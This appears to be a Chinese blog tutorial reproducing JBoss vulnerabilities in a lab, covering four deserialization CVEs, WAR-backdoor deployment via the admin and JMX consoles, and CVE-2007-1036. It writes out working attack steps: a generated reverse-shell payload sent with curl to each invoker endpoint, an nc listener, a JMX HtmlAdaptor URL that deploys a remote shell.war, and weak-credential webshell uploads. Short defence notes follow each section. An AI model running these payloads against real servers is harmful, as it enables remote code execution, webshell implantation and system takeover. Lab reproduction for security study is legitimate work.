JBoss中间件漏洞

目录

一、JBoss是什么?

二、安装环境

1. Jdk

2. 下载JBoos4、6,并进行配置

三、 反序列漏洞

1. HttpInvoker 组件(CVE-2017-12149)

2. JMXInvokerServlet组件(CVE-2015-7501)

3. JBossMQ(CVE-2017-7504)

4. EJBInvokerServlet组件(CVE-2013-4810)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

2. JMX-console

jBoss4

JBoos6

防御

3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)





一、JBoss是什么?

JBoss是一套开源的企业级Java中间件系统,用于实现基于SOA的企业应用和服务,基于J2EE的开放源代码的应用服务器。JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB 1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。


二、安装环境

JBoss下载地址:https://jbossas.jboss.org/downloads/

jdk下载地址:https://www.oracle.com/java/technologies/downloads/


1. Jdk

由于漏洞不是JBoss4就是6的环境,没办法得整两套,如果硬件支持的话,建议开两个虚拟机,就非常方便哈。环境是重点,就吃了没仔细看说明的亏,用了jdk1.8,导致后面访问JMX-console报错,放开那个雷,让我来踩

jdk1.6支持JBoos4

jdk1.7支持JBoos6

JBoss中间件漏洞

JBoss中间件漏洞

2. 下载JBoos4、6,并进行配置

我用了JBoss AS 6.1.0.Final、4.2.3,你也可以用其他,可能复现和我点出入,建议第一次可以可以按照我的走,后面可以尝试下其他版本(如果是大佬那就当我没说)

JBoss中间件漏洞

JBoss AS 6.1.0.Final直接下载zip,4.2.3还得在选择一次,我选的jboss-4.2.3.GA-jdk6

 JBoss中间件漏洞

JBoss中间件漏洞

都下载后配置环境变量,添加一个JBOSS_HOME属性,都为bin目录的上一级目录,并在path中添加%JBOSS_HOME%/bin

JBoss中间件漏洞

如果要外网访问的话要修改jboss-6.1.0.Final\server\default\deploy\jbossweb.sar\server.xml文件,把下图红框位置的address属性值改成0.0.0.0即可(4.2.3文件路径为jboss-4.2.3.GA\server\default\deploy\jboss-web.deployer下)

JBoss中间件漏洞

最后,打开双击bin目录下的run.bat,等一小会,你就可以看到此页面

JBoss中间件漏洞

6和4这个主页有点不一样,我这个是6

三、 反序列漏洞

exp:https://github.com/joaomatosf/JavaDeserH2HC

kali :192.168.50.72

靶机 :192.168.50.169

宿主机:192.168.50.59

下载完成后到JavaDeserH2HC下,执行

javac -cp commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.50.72:12345

生成反序列化payload

 JBoss中间件漏洞

 .:不能省略,至于为什么不清楚,只能借助java大佬的帖子,强行解释了,

JBoss中间件漏洞

这些准备工作完了,就可以开始复现了

1. HttpInvoker 组件(CVE-2017-12149)

漏洞原理

存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAccessFilter过滤器中。该过滤器在没有进行任何安全检查的情况下尝试将来自客户端的数据流进行反序列化,从而导致了攻击者可以在服务器上执行任意代码。

影响版本

Jboss AS 5.x

Jboss AS 6.x

漏洞验证

访问/invoker/readonly,返回500,说明此页面存在反序列化漏洞

   JBoss中间件漏洞

开两个终端,一个进行监听(nc -lvnp 12345),另一个发payload

curl http://192.168.50.169:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

@不能省略

 JBoss中间件漏洞

最后,成功反弹shell

防御

  1. 升级最新版本
  2. 删除http-invoker.sar 组件(jboss-6.1.0.Final\server\default\deploy\http-invoker.sar
  3. jboss-6.1.0.Final\server\default\deploy\http-invoker.sar\invoker.war\WEB-INF\web.xmlsecurity-constraint 标签下添加<url-pattern>/*</url-pattern>

JBoss中间件漏洞

2. JMXInvokerServlet组件(CVE-2015-7501)

漏洞原理

JBoss中/invoker/JMXInvokerServlet路径对外开放,JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象,然后我们利用Apache Commons Collections中的Gadget执行任意代码。

影响版本

JBoss Enterprise Application Platform 6.4.4,5.2.0,4.3.0_CP10
JBoss AS (Wildly) 6 and earlier
JBoss A-MQ 6.2.0
JBoss Fuse 6.2.0
JBoss SOA Platform (SOA-P) 5.3.1
JBoss Data Grid (JDG) 6.5.0
JBoss BRMS (BRMS) 6.1.0
JBoss BPMS (BPMS) 6.1.0
JBoss Data Virtualization (JDV) 6.1.0
JBoss Fuse Service Works (FSW) 6.0.0
JBoss Enterprise Web Server (EWS) 2.1,3.0

漏洞验证

访问/invoker/JMXInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

 JBoss中间件漏洞

和上面利用方式一样,只是链接不一样

curl http://192.168.50.169:8080/invoker/JMXInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 JBoss中间件漏洞

防御

        和上面一样

3. JBossMQ(CVE-2017-7504)

漏洞原理

这个漏洞与CVE-2015-7501一样,都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。差别在于CVE-2017-7504利用路径是/jbossmq-httpil/HTTPServerILServlet,CVE-2015-7501的利用路径是/invoker/JMXInvokerServlet。

影响版本

Jboss AS 4.x及之前版本

漏洞验证

访问/jbossmq-httpil/HTTPServerILServlet,出现此页面,说明存在该漏洞

 JBoss中间件漏洞

curl http://192.168.50.169:8080/jbossmq-httpil/HTTPServerILServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 JBoss中间件漏洞

防御

  1.  升级最新版本

4. EJBInvokerServlet组件(CVE-2013-4810)

漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

影响版本

jboss 6.x 版本

漏洞验证

访问/invoker/EJBInvokerServlet,返回保存文件,说明接口开放,此接口存在反序列化漏洞。

  JBoss中间件漏洞

curl http://192.168.50.169:8080/invoker/EJBInvokerServlet --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 JBoss中间件漏洞

防御

        同(CVE-2017-12149)

四、 War后门文件部署

1. admin-cosole(爆红接着传)

复现

admin/admin弱口令登录后台,点击add a new resource上传war包

 JBoss中间件漏洞

上传后报红了,以为不能部署,把我折磨了很久还以为我下的环境有问题,总而言之,警告归警告,该传还得传,最后发现包已经war已经部署到上面去了,发两次,第二次警告会说已经部署

  JBoss中间件漏洞

   JBoss中间件漏洞

 JBoss中间件漏洞

接下来就连你的马子

JBoss中间件漏洞

防御

        1. 改强密码(jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.properties

JBoss中间件漏洞

        2. 删除admin-console页面

2. JMX-console

jBoss4

 复现

点击jboss.deployer下面的链接

JBoss中间件漏洞

进去后寻找addURL(),修改ParamValue值为你远程war链接,点击Invoke,最后回到这个页面寻找Apply changes点击

 JBoss中间件漏洞

这些都干了,来页面joss.web.deployment

 JBoss中间件漏洞

于是乎访问你的马子,他就成了

 JBoss中间件漏洞

这套操作适用于JBoos6,只是有点小出入,不用点击Apply changes

 JBoss中间件漏洞

JBoos6

复现

寻找jboss.system,点击service=MainDeployer

  JBoss中间件漏洞

找到该函数deploy,并在输入框里面写入远程war包链接最后点击Invoke

 JBoss中间件漏洞

或者访问或者访问/jmx-console/HtmlAdaptor?

action=invokeOp&name=jboss.system:service=MainDeployer&methodIndex=17&arg0=http://192.168.50.59/shell.war进行部署

 JBoss中间件漏洞

最后,访问你的马子

 JBoss中间件漏洞

防御

        关闭JMX-console和web-console页面

3. JMX Console HtmlAdaptor Getshell利用(CVE-2007-1036)

复现

访问

/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.admin:service=DeploymentFileRepository定位store函数

 JBoss中间件漏洞

p1传入的部署war包的名字,p2传入的是上传文件的文件名,p3传入的是上传文件的后缀,p4传入的是上传文件的内容

JBoss中间件漏洞

注:冰蝎马上传后页面异常,无法连接

 防御

        官方发布修复补丁

        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1036







 

上一篇:哈夫曼编码和译码c++数组实现


下一篇:可达性统计